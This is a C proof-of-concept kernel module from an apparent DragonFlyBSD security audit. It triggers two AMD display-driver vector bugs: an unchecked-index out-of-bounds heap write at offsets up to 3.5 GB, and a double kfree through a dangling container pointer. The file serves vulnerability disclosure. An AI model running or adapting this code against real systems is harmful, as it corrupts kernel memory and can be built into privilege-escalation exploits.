โฌข DragonFlyBSD Kernel Audit
DF-5052 / vectorpoc.c
โ† back to finding โ†“ download raw
/*
 * vectorpoc.c โ€” runtime proof-of-concept for two AMD DC dal_vector API
 * defects (sys/dev/drm/amd/display/dc/basics/vector.c):
 *
 *   DF-5051 (mode 1): dal_vector_insert_at() never validates `position`;
 *     position > count computes insert_address = container +
 *     struct_size*position and memmove()s struct_size bytes there โ€”
 *     a fully attacker-of-the-caller-chosen-offset heap OOB write
 *     (vector.c:218,226-229).
 *
 *   DF-5052 (mode 2): dal_vector_destruct() frees container but leaves
 *     the pointer dangling (vector.c:131-137) โ€” a second destruct is a
 *     double kfree() (demonstrated here by allocator aliasing), and any
 *     post-destruct reserve()/at_index() use is a UAF.
 *
 *   mode 0: in-bounds sanity (insert at count works, as the lone in-tree
 *     caller dal_vector_append relies on).
 *
 * The dal_vector_* symbols are plain globals exported by amdgpu.ko, so
 * they resolve via the kernel linker's global symbol search once amdgpu
 * is loaded. No MODULE_DEPEND is needed (amdgpu declares no
 * MODULE_VERSION; kern_linker.c falls back to a global file search).
 *
 * Build:  see build.sh   Run: see run.sh  (mode via kenv vectorpoc.mode)
 */
#include <sys/param.h>
#include <sys/types.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>

/*
 * ABI shims for include/vector.h:struct vector (verified layout:
 * container, struct_size, count, capacity, ctx). We deliberately do not
 * pull in the DC header maze; pointer-ABI is identical.
 */
struct vec_shim {
	uint8_t		*container;
	uint32_t	struct_size;
	uint32_t	count;
	uint32_t	capacity;
	void		*ctx;
};

extern struct vec_shim *dal_vector_create(void *ctx, uint32_t capacity,
					  uint32_t struct_size);
extern bool dal_vector_insert_at(struct vec_shim *vector, const void *what,
				 uint32_t position);
extern void dal_vector_destruct(struct vec_shim *vector);

static int	vectorpoc_mode = 1;
TUNABLE_INT("vectorpoc.mode", &vectorpoc_mode);

/* 64-byte container (4 elems x 16 bytes), same size class for mode 2. */
#define	VPOC_CAP	4
#define	VPOC_SSIZE	16

static void
mode0_sanity(void)
{
	struct vec_shim *v;
	char payload[VPOC_SSIZE];
	bool ok1, ok2;

	memset(payload, 0x42, sizeof(payload));

	v = dal_vector_create(NULL, VPOC_CAP, VPOC_SSIZE);
	if (v == NULL) {
		kprintf("vectorpoc: mode0: dal_vector_create failed\n");
		return;
	}
	kprintf("vectorpoc: mode0: v=%p container=%p count=%u capacity=%u\n",
	    v, v->container, v->count, v->capacity);

	ok1 = dal_vector_insert_at(v, payload, 0);	/* == count: in-bounds */
	ok2 = dal_vector_insert_at(v, payload, 1);	/* == count: in-bounds */
	kprintf("vectorpoc: mode0: insert@0=%d insert@1=%d count=%u "
	    "(expect 1 1 2)\n", ok1, ok2, v->count);

	dal_vector_destruct(v);
	kprintf("vectorpoc: mode0: sanity OK\n");
}

/*
 * DF-5051: unchecked position -> wild heap write.
 * count==0 and capacity==4, so insert_at takes the no-reserve path and
 * writes 16 bytes at container + (16 * position) with position up to
 * 0x0E000000 => up to +3.5GB past the 64-byte allocation. Offsets are
 * tried coarse-to-fine until one lands on an unmapped kernel page and
 * faults (any single one that lands on mapped memory is itself a silent
 * 16-byte heap corruption).
 */
static void
mode1_df5051_oob_insert(void)
{
	struct vec_shim *v;
	char payload[VPOC_SSIZE];
	static const uint32_t positions[] = {
		0x0C000000,			/* +3.0 GB */
		0x08000000,			/* +2.0 GB */
		0x0E000000,			/* +3.5 GB */
		0x04000000,			/* +1.0 GB */
		0x0A000000,			/* +2.5 GB */
	};
	int i;

	memset(payload, 0x41, sizeof(payload));

	v = dal_vector_create(NULL, VPOC_CAP, VPOC_SSIZE);
	if (v == NULL) {
		kprintf("vectorpoc: mode1: dal_vector_create failed\n");
		return;
	}
	kprintf("vectorpoc: DF-5051: v=%p container=%p (alloc=%u bytes) "
	    "count=%u capacity=%u struct_size=%u\n",
	    v, v->container, VPOC_CAP * VPOC_SSIZE, v->count, v->capacity,
	    v->struct_size);

	for (i = 0; i < (int)(sizeof(positions) / sizeof(positions[0])); i++) {
		kprintf("vectorpoc: DF-5051: insert_at(position=0x%08x) "
		    "-> writing 16 bytes at container+0x%08x (OOB)\n",
		    positions[i], positions[i] * VPOC_SSIZE);
		dal_vector_insert_at(v, payload, positions[i]);
		kprintf("vectorpoc: DF-5051: survived offset 0x%08x "
		    "(wrote into mapped kernel memory)\n",
		    positions[i] * VPOC_SSIZE);
	}
	kprintf("vectorpoc: DF-5051: no fault observed (unexpected)\n");
}

/*
 * DF-5052: double dal_vector_destruct -> double kfree of container.
 * Proven by allocator aliasing: after freeing the same 64-byte chunk
 * twice, two fresh 64-byte allocations return the identical pointer.
 * (If the release kernel's slab catches the double free and panics
 * instead, that is equally confirmatory โ€” serial log will show it.)
 */
static void
mode2_df5052_double_destruct(void)
{
	struct vec_shim *v;
	void *x, *y, *c;

	v = dal_vector_create(NULL, VPOC_CAP, VPOC_SSIZE);
	if (v == NULL) {
		kprintf("vectorpoc: mode2: dal_vector_create failed\n");
		return;
	}
	c = v->container;
	kprintf("vectorpoc: DF-5052: v=%p container=%p\n", v, c);

	dal_vector_destruct(v);
	kprintf("vectorpoc: DF-5052: destruct #1 done (chunk freed; "
	    "vector->container still =%p, dangling)\n", v->container);

	dal_vector_destruct(v);
	kprintf("vectorpoc: DF-5052: destruct #2 returned WITHOUT panic "
	    "(double kfree accepted)\n");

	x = kmalloc(VPOC_CAP * VPOC_SSIZE, M_TEMP, M_WAITOK);
	y = kmalloc(VPOC_CAP * VPOC_SSIZE, M_TEMP, M_WAITOK);
	kprintf("vectorpoc: DF-5052: re-alloc x=%p y=%p freed-chunk=%p\n",
	    x, y, c);
	if (x == y && x == c)
		kprintf("vectorpoc: DF-5052 CONFIRMED: both allocations "
		    "returned the double-freed chunk (aliasing)\n");
	else
		kprintf("vectorpoc: DF-5052: allocs distinct (allocator "
		    "noise); double free still occurred\n");
}

static int
vectorpoc_modevent(module_t mod, int type, void *arg)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("vectorpoc: loaded, mode=%d\n", vectorpoc_mode);
		switch (vectorpoc_mode) {
		case 0:
			mode0_sanity();
			break;
		case 1:
			mode1_df5051_oob_insert();
			break;
		case 2:
			mode2_df5052_double_destruct();
			break;
		default:
			kprintf("vectorpoc: unknown mode %d\n", vectorpoc_mode);
		}
		kprintf("vectorpoc: mode %d complete\n", vectorpoc_mode);
		return (0);
	case MOD_UNLOAD:
		kprintf("vectorpoc: unloaded\n");
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

DECLARE_MODULE(vectorpoc, vectorpoc_modevent, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);